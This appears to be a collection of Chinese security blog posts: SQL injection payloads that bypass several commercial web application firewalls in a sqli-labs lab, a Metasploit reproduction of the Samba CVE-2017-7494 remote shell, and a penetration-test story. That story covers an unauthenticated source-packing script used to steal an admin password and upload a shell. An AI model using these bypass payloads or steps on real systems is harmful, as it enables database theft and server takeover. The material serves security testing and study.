两款防火墙的注入绕过姿势


前言:两个绕过的测试环境为sqli_labs+mysql。本文主要是以当时测试的思路来写的,还望各位师傅多多指教。


0x00 某厂商WAF

拦截语句

按照之前的思路,首先尝试了各种常用的payload,看看WAF拦了哪些操作,发现如下语句会拦截:

  • and 1=1类型
  • ‘、%27
  • union、select、union select、select from、sleep()
  • /*!*/

放行语句

在上面尝试中发现如下语句未被拦截:

  • order by
  • /**/
  • /*/**/and if(1,1,0)
  • %0a、%0b…
  • order by x
  • 对于第三个payload,最先尝试的是?id=1 and if(1,1,0),被拦截,然后猜测问题在于and这里,就在前面加了一个/**/进行尝试,发现还是失败,然后在注释中多加了/*,成功绕过,/*/*/也是可行的
    测试发现,若响应内容含有敏感信息(mysql错误信息),会被WAF重置连接。所以需要构造一个可以执行成功的sql语句

测试思路

  1. 既然敏感信息会被重置连接,我们可以采用盲注的方式进行绕过
    先尝试绕过and 1=1/and 'a'='a'的限制,验证是否存在注入
    在安全狗测试中我们是使用内联注释过狗的,但这款WAF限制了内联注释,所以需要另外的方法。并且由于单引号也被禁止了,暂时未想到绕过方法,先尝试数字型注入的绕过
    测试payload:and 1 --and 0 --
  2. 接着我们尝试一下and if形式的注入语句:
    /*/**/and if(substr(1,1,1)=1,1,0) -- -
    未拦截,然后修改payload:
    /*/**/and if(substr(user(),1,1)='r',1,0) -- -,成功
  3. 继续往下构造
    /*/*/and if(substr((select/**/schema_name/*/**/from/**/(information_schema.schemata)limit 1 offset 0/*/**/),1,1)='i',1,0)-- - 成功
    select后面跟的/**/是关键

    ps:上面这段payload之前尝试其实是失败的,写文章复现的时候发现居然能过,一脸懵逼。当时是针对select进行了尝试,使用%0aselect进行的绕过

  4. 这里其实还有个问题,针对sleep()函数的绕过,WAF对这块限制的很严,试过sleep/**/()、sleep/*/**/()等,均尝试失败
    但是我们可以使用另外一个函数进行替代:benchmark(),最后构造payload如下:
    /*/*/and if(substr(user/*/**/(),1,1)='r',benchmark(100000000,rand()),0)-- -

    ps:我们这里是针对数字型注入进行的绕过,后来测试了字符型,发现/*/**/'就可以过掉WAF,和上面and if的思路一致。针对union select的绕过,利用上述中的方法也是可以过的。

0x01 360主机卫士

ps:官网给出的更新日志是2015年12月,windows版本为:Windows 2.0.4.6

同样,我们继续按照之前的思路来测试

拦截语句

  • select、select from、union select
  • and 1=1类型
  • /*!50000*/ #后续测试发现,只拦截了这一个,如/*!500001*/就不会被拦截

放行语句

  • 单独使用的select、union、from
  • /*!*/

测试思路

  1. 对于绕and 1=1类似语句方法和安全狗的一样,可以使用and /*!1=1*/或者and /*!1*/=/*!1*/来进行绕过
    and if(substr(user(),1,1)=’r’,1,0)– -
  2. 进行下一步测试时发现,payload:and if(substr(user(),1,1)='r',1,0)-- -未被拦截,可以直接执行
  3. 然后继续构造payload查询数据库:and if(substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i',1,0)-- -,结果被拦截

    因为payload含有select from
    按照第一节中的方法,我们使用%0aselect的形式试图干扰WAF,失败
    payload:and if(substr((%0aselect schema_name from information_schema.schemata limit 0,1),1,1)='i',1,0)-- -
    接着我们在from前面加上了%0a,还是失败
    payload:and if(substr((%0aselect schema_name%0afrom information_schema.schemata limit 0,1),1,1)='i',1,0)-- -
    然后我尝试了对from使用内联注释,成功
    payload:and if(substr((%0aselect schema_name%0a/*!50001from*/ information_schema.schemata limit 0,1),1,1)='i',1,0)-- -

    使用这种方法也可以绕过union select的限制,这里就不多说了

    0x02 总结

    这次测试比之前安全狗测试的时候思路要清晰一些,但感觉还是有诸多不足,对于mysql的特性还需要积累总结。

打狗棒法-注入过狗姿势


前言:作为团队最水的菜鸡,上周终于有时间搞搞自己的事了。本篇文章主要总结绕狗过程中遇到的各种姿势和坑,由于不是专业绕狗选手,希望各位大佬不要嘲笑。目前测试的版本为网站安全狗(apache版)4.0.18089,截止2017/09/25官网最新版


0x00 各种尝试

被拦语句

首先尝试了各种常用的payload,看看狗拦了哪些操作,发现如下语句会拦截:

and 1=1/and ‘a’=’a’类型
union select/union distinct select等
user()、database()等函数

放行语句

在上面尝试中发现如下语句未被拦截:

order by
select、union分开使用
and if

0x01 第一种思路

先尝试绕过and 1=1/and 'a'='a'的限制
这里可以使用内联注释进行绕过: and /*!1*/=/*!1*/即可绕过

接着我们尝试一下利用时间盲注来进行绕过,我们先尝试一下正常的语句:

‘ and if(substr(user(),1,1)=’r’,sleep(5),1)– -
这个语句肯定会被拦截,因为含有user()等敏感函数,那么怎么绕过呢,我们试试user/**/()这样的形式
‘ and if(substr(user/**/(),1,1)=’r’,sleep/**/(5),1)– -

这里安全狗没有拦截,网站响应时间是6s(没有sleep也有1s的响应,所以延时5s没有问题,虚拟机卡啊T_T)
后续尝试发现,user%0a()也是可以绕过的。

ps:这里提个问题,用这种形式的注入,如何注入到表中内容,暂时没有头绪,望大佬指教。


问题已解决(还是基础不扎实)。
可以使用and if(substr((select * from admin),1,1),1,0)这样的形式注入出数据
具体注入还有相关的坑需要绕过,这个大家可以自行研究,利用本文的方法是可以过的。

0x02 第二种思路

回到刚才的问题,没有更进一步获取数据,还是把目光聚焦在union select的绕过。
这里试过很多坑,但还是把尝试过的payload发出来,说不定另外的waf能过呢,也包含了一些mysql的特性:

union /*!([email protected]*/,2,3) //select后面可跟@,!,~,如select!1,select~1
union/**//**/(/*[email protected]*/,2,3)
union/*!/**/*//*!([email protected]*/,2,3)

后来发现怎么也绕不过去,然后查询资料发现union select等价于union distinct select
进行尝试,失败:

继续尝试,给distinct加内联注释,失败:

在distinct前面加上/**/,成功:

0x03 总结

思路比较混乱,还需了解更多的数据库特性,还有正则表达式,才能深入了解过waf的思路技巧。

Samba远程命令执行漏洞(CVE-2017-7494)攻击演示


废话:最近一直忙着写剧本写剧本写剧本(我不是安服吗?),直到今天才有空复现这个漏洞,以后还是要尽力多抽时间学习总结哈


0x00 漏洞信息

2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。

0x01 利用条件

  • 服务端共享目录有访问权限。
  • 服务端共享目录有写入权限。
  • 服务端共享目录的物理路径已知或者可猜解。

0x02 复现过程

环境搭建

1
2
$ docker pull medicean/vulapps:s_samba_1 //拉取或更新指定镜像
$ docker run -d -p 445:445 -p 139:139 -p 138:138 -p 137:137 medicean/vulapps:s_samba_1 //-d:以守护进程方式运行(后台),-p <HOT_PORT>:<CONTAINER_PORT>:主机指定端口绑定容器指定端口

漏洞验证

1、msf更新至最新,已有相应的exp,查询is_known_pipename

2、选择该模块后我们show options,查看需要设置的参数,如下图所示,设置RHOST,target设为linux x86_64(对应测试环境)

3、然后设置监听,设置完监听后,运行即可获取shell

记一次奇葩的渗透测试


前言:这次的渗透测试,常规漏洞不存在或者不好利用,却由于一个打包程序,导致网站沦陷。


0x00 信息搜集

前期使用御剑扫描,得到的信息非常有限,nmap扫描端口也未发现敏感服务,然后访问robots.txt,发现如下信息:

可以发现,其中有admin后台,访问如图:

对于后台我一般会做如下尝试:

  • 弱口令走一波
  • 在用户名处填写注入语句,一般使用’来测试
  • 若无验证码,可以尝试暴力破解;若有验证码,也可以尝试暴力破解

做完尝试之后发现此处并没有注入,但后台能够进行暴力破解,验证码不会失效。然后拿出一堆几十年前的字典狂爆一波,最后GG。。。。

0x01 尝试可能的漏洞

前面没发现太多有用的东西,还是看看站点本身。按照习惯,去放问了网站新闻等内容,通常类似php?id=的url有可能有注入等漏洞,兴高采烈的去各种尝试,后来发现页面不会有任何改变,这里猜测后台应该使用了intval等函数强制转换过。
注入看来是没戏了,然后又发现了一个msg.php,打开一看,果然是留言板,插入xss恶意代码盲打一波。结果到最后,没有任何收获,无解啊。
到目前为止,我们只有一个暴力破解可以使用,奈何字典不够强大,我们怎么继续下去呢?

  • 旁注?醒醒吧,就这一个站!
  • C段?挺花时间的要不继续看看?

0x02 再次收集信息

这次我祭出了更强大的御剑,不对,是更强大的字典,终于皇天不负有心人,在强大的字典面前,一个叫zip.php进入了我的视线,打开如下图:

这是一个打包程序,我们能不能把源码打包直接下载下来,这样我们不就有可能获得管理员的账号密码了嘛?然而看到这里需要输入密码,可能我们又会去爆破,但是这里有更有价值的信息,我们访问图中的url,下载这套代码,第一行代码吸引了我:

尝试失败,说明管理员修改了密码。怎么办呢?我们能不能绕过登陆直接打包呢?
我们可以来审一下代码:

可以看到,当$_REQUEST["myaction"])没有传到后台时,则显示密码框,需要用户登陆,若$_REQUEST["myaction"]) == 'dolist'时,需要验证密码,我们跳过这段,看看后面是否还有else if这类代码,结果发现有如下代码:

也就是说,当$_REQUEST["myaction"]) == 'dozip'时,程序就会执行打包函数,无需登录即可完成打包,只要找到需要打包的参数的代码就OK了。

可以发现,value这里的值改为对应目录,就可以执行打包了
结果打包下来,只有一个sql文件(然而压缩文件1.1G,解压就一个400多k的sql文件??)
从sql里面发现了管理员账号密码,后续的上传shell也非常简单,这里就不多说了。

0x03 总结

信息搜集才是王道,只有搜集到足够多有用的信息,思路也自然会打开。然后就请各位大佬,多多指教咯。

|